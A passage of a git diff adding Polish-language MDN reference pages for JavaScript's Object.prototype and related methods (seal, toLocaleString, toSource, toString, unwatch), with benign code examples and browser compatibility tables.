{{jsxref("Object.prototype")}}.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Dołączony (normatywnie) jako jeden z dodatkowych ECMAScript <em>legacy features</em> dla przeglądarek (zauważ że specyfikacja jedynie ujednoliciła coś, co było już zaimplementowane w przeglądarkach).</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatIE("11")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Uwagi_odnośnie_kompatybilności">Uwagi odnośnie kompatybilności</h2> + +<p>Mimo, że specyfikacja ECMAScript 2015 określa iż wsparcie dla <code>__proto__</code> jest wymagane <em>tylko</em> dla przeglądarek internetowych (w zasadzie normatywnie), to inne środowiska równieź mogą wspierać tę funkcjonalność.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li> + <li>{{jsxref("Object.getPrototypeOf()")}}</li> + <li>{{jsxref("Object.setPrototypeOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html new file mode 100644 index 0000000000..2e4e257602 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html @@ -0,0 +1,218 @@ +--- +title: Object.prototype +slug: Web/JavaScript/Referencje/Obiekty/Object/prototype +tags: + - JavaScript + - Obiekt + - Object + - Property + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object +--- +<p>{{JSRef}}</p> + +<p><code style="font-style: normal;"><strong>Object.prototype</strong></code> reprezentuje prototyp obiektów klasy {{jsxref("Object")}}.</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wszystkie obiekty w języku JavaScript wywodzą się od {{jsxref("Object")}}; wszystkie obiekty dziedziczą metody i pola po <code>Object.prototype,</code> chociaż mogą one zostać przeciążone (z wyjątkiem <code>Object</code>'u o prototypie <code>null</code>, tj. <code>Object.create(null)</code>). Na przykład, prototypy innych konstruktorów przeciążają pole <code>constructor</code> i zapewniają swoje własne wersje metod {{jsxref("Object.prototype.toString()", "toString()")}}. Zmiany do prototypu <code>Object</code> propagowane są do wszystkich obiektów, chyba że dane metody i pola zostały przeciążone w prototypie którejś z klas bazowych.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{jsxref("Object.prototype.constructor")}}</dt> + <dd>Określa konstruktor obiektu - funkcję, która tworzy prototyp obiektu.</dd> + <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt> + <dd>Wskazuje na obiekt który był użyty jako prototyp, kiedy dany obiekt był inicjalizowany.</dd> + <dt>{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt> + <dd>Pozwala zdefiniować funkcję, która będzie wykonana kiedy niezdefiniowany element obiektu zostanie wywołany jako metoda.</dd> + <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}</s></dt> + <dd><s class="obsoleteElement">Własność zwracała liczbę właściwości tzw. enumerable posiadanych przez zdefiniowany przez użytkownika obiekt. Własność ta została usunięta.</s></dd> + <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt> + <dd><s class="obsoleteElement">Była używana do wskazywania kontwkstu obiektu.</s><span class="obsoleteElement" style="opacity: 0.3;"> Własność ta została usunięta.</span></dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> + <dd>Przypisuje funkcję do pola, do którego odwołanie wywoła tę funkcję, która zwróci odpowiednią wartość.</dd> + <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> + <dd>Przypisuje funkcję do pola, którego ustawienie wywoła tę funkcję, która zmodyfikuje wartość pola.</dd> + <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> + <dd>Zwraca funkcję powiązaną z danym polem poprzez metodę {{jsxref("Object.defineGetter", "__defineGetter__")}}.</dd> + <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> + <dd>Zwraca funkcję powiązaną z danym polem poprzez metodę {{jsxref("Object.defineSetter", "__defineSetter__")}}.</dd> + <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt> + <dd>Zwraca wartość boolean wskazującą czy obiekt posiada dane pole (wykluczając przypadki, gdy pole jest odziedziczone).</dd> + <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt> + <dd>Zwraca wartość boolean wskazującą czy dany obiekt znajduje się w łańcuchu prototypów obiektu podanego jako parametr funkcji.</dd> + <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt> + <dd>Zwraca wartość boolean wskazującą czy ustawiony jest atrybut <a href="/en-US/docs/ECMAScript_DontEnum_attribute" title="ECMAScript_DontEnum_attribute">ECMAScript DontEnum attribute</a>.</dd> + <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Zwraca literał obiektowy reprezentujący dany obiekt; można go użyć do utworzenia nowego obiektu.</dd> + <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt> + <dd>Wywołuje {{jsxref("Object.toString", "toString()")}}.</dd> + <dt>{{jsxref("Object.prototype.toString()")}}</dt> + <dd>Zwraca łańcuch znaków reprezentujący dany obiekt.</dd> + <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt> + <dd>Usuwa funkcję monitorującą daną własność obiektu.</dd> + <dt>{{jsxref("Object.prototype.valueOf()")}}</dt> + <dd>Zwraca wartość prostą danego obiektu.</dd> + <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt> + <dd>Dodaje funkcję monitorującą daną własność obiektu.</dd> + <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt> + <dd><s class="obsoleteElement">Wykonuje kod JavaScriptu zawarty w łańcuchu znaków w kontekście danego obiektu.</s></dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Jako, iż JavaScript nie posiada typowego rozróżnienia na klasę bazową i dziedziczącą, prototype jest przydatnym obejściem pozwalającym na utworzenie “klasy bazowej” z pewnych funkcji, które działają jak obiekty. Na przykład:</p> + +<pre class="brush: js">var Osoba = function() { + this.umieMowic = true; +}; + +Osoba.prototype.powitaj = function() { + if (this.umieMowic) { + console.log('Hej, jestem ' + this.imie); + } +}; + +var Pracownik = function(imie, tytul) { + Osoba.call(this); + this.imie = imie; + this.tytul = tytul; +}; + +Pracownik.prototype = Object.create(Osoba.prototype); +Pracownik.prototype.constructor = Pracownik; + +Pracownik.prototype.powitaj = function() { + if (this.umieMowic) { + console.log('Hej, jestem ' + this.imie + ', ' + this.tytul); + } +}; + +var Klient = function(imie) { + Osoba.call(this); + this.imie = imie; +}; + +Klient.prototype = Object.create(Osoba.prototype); +Klient.prototype.constructor = Klient; + +var Mim = function(imie) { + Osoba.call(this); + this.imie = imie; + this.umieMowic = false; +}; + +Mim.prototype = Object.create(Osoba.prototype); +Mim.prototype.constructor = Mim; + +var bob = new Pracownik('Bob', 'Builder'); +var joe = new Klient('Joe'); +var rg = new Pracownik('Red Green', 'Handyman'); +var mike = new Klient('Mike'); +var mim = new Mim('Mim'); + +bob.powitaj(); +// Hej, jestem Bob, Builder + +joe.powitaj(); +// Hej, jestem Joe + +rg.powitaj(); +// Hej, jestem Red Green, Handyman + +mike.powitaj(); +// Hej, jestem Mike + +mim.powitaj(); +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Początkowa definicja. Zaimplementowano w JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/seal/index.html b/files/pl/web/javascript/referencje/obiekty/object/seal/index.html new file mode 100644 index 0000000000..ba52ba9665 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/seal/index.html @@ -0,0 +1,165 @@ +--- +title: Object.seal() +slug: Web/JavaScript/Referencje/Obiekty/Object/seal +translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>Object.seal()</strong></code> "uszczelnia" obiekt, zabezpieczając przed dodaniem nowych właściwości oraz czyniąc wszystkie już istniejące jako niekonfigurowalne. Wartość znajdujące się już w obiekcie mogą być cały czas zmieniane tak długo dopóki posiadają atrybut <strong>writable</strong>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>Object.seal(<var>obj</var>)</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>Obiekt który powinien zostać zamknięty.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Uszczelniony obiekt.</p> + +<h2 id="Opis">Opis</h2> + +<p>Standardowo obiekty są {{jsxref("Object.isExtensible()", "extensible", "", 1)}} (nowe właściwości mogą być do nich dodawane). Zamknięcie obiektu zabezpiecza przed możliwością ich dodawania oraz oznacza wszystkie już obecne jako niekonfigurowalne. To skutkuje tym, że zestaw właściwości obiektu staje się niemutowalny. Sprawienie, że wszystkie właściwości są również niekonfigurowalne zabezpiecza je przed byciem przekonwertowane na akcesory/mutatory i odwrotnie, jednak nie zapobiega to zmianie wartości. Próba usunięcia lub dodania nowych właściwości do uszczelnionego obiektu lub konwersja jakiejś właściwości do akcesorów/mutatorów zawiedzie bez wyjątku lub wywołując {{jsxref("TypeError")}} (tak jest najczęściej, choć nie całkowicie, kiedy skrypt jest w {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p> + +<p>Łancuch prototypów pozostaje nie zmieniony, jednakże właściwość {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} jest również niemożliwa do zmiany.</p> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: js">var obj = { + prop: function() {}, + foo: 'bar' +}; + +// Nowe właściwości mogą być dodane, +// istniejące - zmienione lub usunięte. +obj.foo = 'baz'; +obj.lumpy = 'woof'; +delete obj.prop; + +var o = Object.seal(obj); + +o === obj; // true +Object.isSealed(obj); // === true + +// Zmiana wartości na zamkniętym obiekcie nadal działa. +obj.foo = 'quux'; + +// Jednak nie możesz zmienić właściwości obieku do akcesorów i odwrotnie +Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // throws a TypeError + +// W tym momencie jakiekolwiek inne zmiany właściwości obiektu zawiodą +obj.quaxxor = 'the friendly duck'; // nie doda właściwości, nie rzucając wyjątku +delete obj.foo; // nie usunie właściwości, nie rzucając wyjątku + +// ...w trybie strict takie operacje będą rzucać wyjątkami. +function fail() { + 'use strict'; + delete obj.foo; // rzuca TypeError + obj.sparky = 'arf'; // rzuca TypeError +} +fail(); + +// Próba dodania właściwości przez Object.defineProperty zawiedzie +Object.defineProperty(obj, 'ohai', { value: 17 }); // rzuca TypeError +Object.defineProperty(obj, 'foo', { value: 'eit' }); // zmienia istniejącą wartość +</pre> + +<h2 id="Uwagi">Uwagi</h2> + +<p>W ES5, jeżeli argumentem metody nie jest obiekt (jest to prymitywna struktura), spowoduje to wywołanie {{jsxref("TypeError")}}. W ES6, argument nie będący obiektem zostanie potraktowany jakby już był uszczelnionym, zwykłym obiektem i będzie zwrócony.</p> + +<pre class="brush: js">Object.seal(1); +// TypeError: 1 is not an object (ES5 code) + +Object.seal(1); +// 1 (ES6 code) +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Wstępna definicja. Implementowano w JavaScript 1.8.5.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_w_przeglądarkach">Kompatybilność w przeglądarkach</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("6")}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatOpera("12")}}</td> + <td>{{CompatSafari("5.1")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Object.isSealed()")}}</li> + <li>{{jsxref("Object.preventExtensions()")}}</li> + <li>{{jsxref("Object.isExtensible()")}}</li> + <li>{{jsxref("Object.freeze()")}}</li> + <li>{{jsxref("Object.isFrozen()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html new file mode 100644 index 0000000000..1cd0074d45 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html @@ -0,0 +1,35 @@ +--- +title: Object.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Object/toLocaleString +tags: + - JavaScript + - Method + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący obiekt. Ta metoda najczęściej jest przysłonięta przez pochodne obiekty.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>obj</var>.toLocaleString();</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>Object</code> <code>toLocaleString</code> zwraca rezultat, który nazywamy {{jsxref("Object.toString", "toString()")}}.</p> + +<p>Ta metoda jest dostarczona dając obiektom generującą metodę <code>toLocaleString()</code>, nawet mimo to nie wszystkie go używają. Aktualnie, tylko <code>Array</code>, <code>Number</code> i <code>Date</code> nadpisują <code>toLocaleString</code>.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html new file mode 100644 index 0000000000..4aa67db90c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html @@ -0,0 +1,73 @@ +--- +title: Object.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Object/toSource +tags: + - JavaScript + - Method + - Non-standard + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca literał obiektowy reprezentujący kod źródłowy danego obiektu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Object.toSource(); +<var>obj</var>.toSource(); +</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toSource()</code> zwraca następujące wartości:</p> + +<ul> + <li>dla obiektu wbudowanego {{jsxref("Object")}} metoda <code>toSource()</code> zwraca następujący ciąg znaków, wskazujący na niedostępność kodu źródłowego: + + <pre class="brush: js">function Object() { + [native code] +} +</pre> + </li> + <li>dla instancji {{jsxref("Object")}} metoda <code>toSource()</code> zwraca ciąg reprezentujący ich kod źródłowy.</li> +</ul> + +<p>Metoda ta zazwyczaj jest używana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie. Można jednak wywołać <code>toSource()</code> podczas debugowania, by zbadać zawartość danego obiektu.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toSource" name="Przyk.C5.82ad:_Zastosowanie_toSource">Przykład: Zastosowanie <code>toSource()</code></h3> + +<p>Poniższy kod definiuje typ obiektowy <code>Pies</code> i tworzy instancję <code>piesek</code> jako obiekt typu <code>Pies</code>:</p> + +<pre class="brush: js language-js"><code class="language-js"><span class="token keyword">function</span> </code>Pies<code class="language-js"><span class="token function"><span class="token punctuation">(</span></span></code>nazwa<code class="language-js"><span class="token punctuation">)</span> <span class="token punctuation">{</span> + <span class="token keyword">this</span><span class="token punctuation">.</span></code>nazwa<code class="language-js"> <span class="token operator">=</span> </code>nazwa<code class="language-js"><span class="token punctuation">;</span> +<span class="token punctuation">}</span> + +</code><code>Pies</code><code class="language-js"><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>toSource <span class="token operator">=</span> <span class="token keyword">function</span> </code><code>Pies</code><code class="language-js"><span class="token function">_toSource<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> + <span class="token keyword">return</span> <span class="token string">'new </span></code><code>Pies</code><code class="language-js"><span class="token string">('</span> <span class="token operator">+</span> <span class="token function">uneval<span class="token punctuation">(</span></span><span class="token keyword">this</span><span class="token punctuation">.</span>nazwa<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">')'</span><span class="token punctuation">;</span> +<span class="token punctuation">}</span><span class="token punctuation">;</span> + +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token keyword">new</span> </code><code>Pies</code><code class="language-js"><span class="token punctuation">(</span><span class="token string">'Joe'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toSource<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // ---> new </span></code> <code>Pies</code><code class="language-js"><span class="token comment">("Joe")</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Array", "Array")}} Object method.</li> + <li>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Boolean", "Boolean")}} Object method.</li> + <li>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Date", "Date")}} Object method.</li> + <li>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Function", "Function")}} Object method.</li> + <li>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Number", "Number")}} Object method.</li> + <li>{{jsxref("Regexp.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/RegExp", "RegExp")}} Object method.</li> + <li>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/String", "String")}} Object method.</li> + <li>{{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Symbol", "Symbol")}} Object method.</li> + <li><code>Math.toSource()</code> — Returns the String "Math".</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html new file mode 100644 index 0000000000..e18d93d79a --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html @@ -0,0 +1,98 @@ +--- +title: Object.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Object/toString +tags: + - JavaScript + - Method + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący dany obiekt.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Każdy obiekt posiada metodę <code>toString</code>, która jest wywoływana automatycznie, kiedy obiekt ma zostać przedstawiony jako wartość tekstowa, albo kiedy obiekt jest dołączany do ciągu znakowego. Poniższe przykłady wymagają, by <code>jakisPies</code> był reprezentowany jako łańcuch znaków:</p> + +<pre class="brush: js">console.log(jakisPies); +console.log("jakisPies to " + jakisPies); +</pre> + +<p>Domyślnie metoda <code>toString</code> jest dziedziczona przez każdy obiekt wyprowadzony z obiektu <code>Object</code>. Można przesłonić tę metodę dla własnych obiektów. Jeśli <code>toString</code> nie zostanie przesłonięta we własnych obiektach użytkownika, zwróci ona <code>[object + <i>typ</i> + ]</code>, gdzie <code> + <i>typ</i> + </code> jest typem obiektu lub nazwą funkcji konstruktora, która utworzyła ten obiekt.</p> + +<p>Na przykład:</p> + +<pre class="brush: js">var o = new Object() +o.toString() // zwraca "[object Object]" +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przes.C5.82anianie_domy.C5.9Blnej_metody_toString" name="Przes.C5.82anianie_domy.C5.9Blnej_metody_toString">Przesłanianie domyślnej metody <code>toString()</code></h3> + +<p>Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody <code>toString()</code>. Metoda <code>toString()</code> nie pobiera żadnych argumentów i powinna zwrócić łańcuch znaków. Utworzona przez użytkownika metoda <code>toString()</code> może zwracać dowolną wartość, ale najlepiej, by przekazywała użyteczne informacje na temat obiektu.</p> + +<p>Poniższy kod definiuje typ obiektowy <code>Pies</code> i tworzy obiekt <code>jakisPies</code> typu <code>Pies</code>:</p> + +<pre class="brush: js">function Pies(nazwa,rasa,wiek,plec) { + this.nazwa=nazwa; + this.rasa=rasa; + this.wiek=wiek; + this.plec=plec; +} + +jakisPies = new Pies("Szarik","owczarek niemiecki","5","samiec");</pre> + +<p>Jeśli wywołana zostanie metoda <code>toString</code> tego obiektu, zwrócona zostanie domyślna wartość odziedziczona po <code>Object</code>:</p> + +<pre class="brush: js">jakisPies.toString(); // zwraca [object Object] +</pre> + +<p>Poniższy kod tworzy funkcję <code>piesToString</code>, która to funkcja będzie przesłaniać domyślną metodę <code>toString</code>. Funkcja ta tworzy łańcuch znaków zawierający każdą własność; budowany łańcuch będzie postaci "<code>własność = wartość;</code>".</p> + +<pre class="brush: js">function piesToString() { + var ret = "Pies " + this.nazwa + " to: [\n"; + for (var prop in this) + ret += " " + prop + " = " + this[prop] + ";\n"; + return ret + "]"; +} +</pre> + +<p>Poniższy kod przypisuje zdefiniowaną powyżej funkcję do metody <code>toString</code> obiektów typu obiektowego Pies:</p> + +<pre class="brush: js">Pies.prototype.toString = piesToString; +</pre> + +<p>Dzięki powyższemu kodowi za każdym razem, kiedy <code>jakisPies</code> używany jest w kontekście łańcucha znaków, interpreter JavaScriptu automatycznie wywołuje funkcję <code>piesToString</code>, która zwraca poniższy łańcuch:</p> + +<pre>Pies Szarik to: [ + nazwa = Szarik; + rasa = owczarek niemiecki; + wiek = 5; + plec = samiec; +] +</pre> + +<p>Metoda <code>toString</code> danego obiektu jest zazwyczaj wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie, jak poniżej:</p> + +<pre class="brush: js">var piesString = jakisPies.toString(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> + <li>{{jsxref("Object.prototype.valueOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html b/files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html new file mode 100644 index 0000000000..fde03bf1eb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html @@ -0,0 +1,39 @@ +--- +title: Object.prototype.unwatch() +slug: Web/JavaScript/Referencje/Obiekty/Object/unwatch +tags: + - JavaScript + - Method + - Non-standard + - Object + - Prototype +translation_of: Archive/Web/JavaScript/Object.unwatch +--- +<p>{{JSRef}}{{ Non-standard_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Usuwa funkcję monitorującą ustawioną poprzez metodę {{jsxref("Object.prototype.watch", "watch()")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>obj</var>.unwatch(<var>wlasnosc</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>wlasnosc</code> </dt> + <dd>Nazwa obserwowanej własności obiektu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Debuger JavaScriptu posiada możliwości podobne do tych dostarczonych przez metodę <code>watch</code>, jak również wiele innych narzędzi przydatnych podczas analizy kodu. Więcej informacji można znaleźć na stronie <a href="/pl/docs/Venkman">Venkman</a>.</p> + +<p>Domyślnie metoda ta jest dziedziczona przez każdy obiekt wyprowadzony z obiektu <code>Object</code>.</p> + +<h2 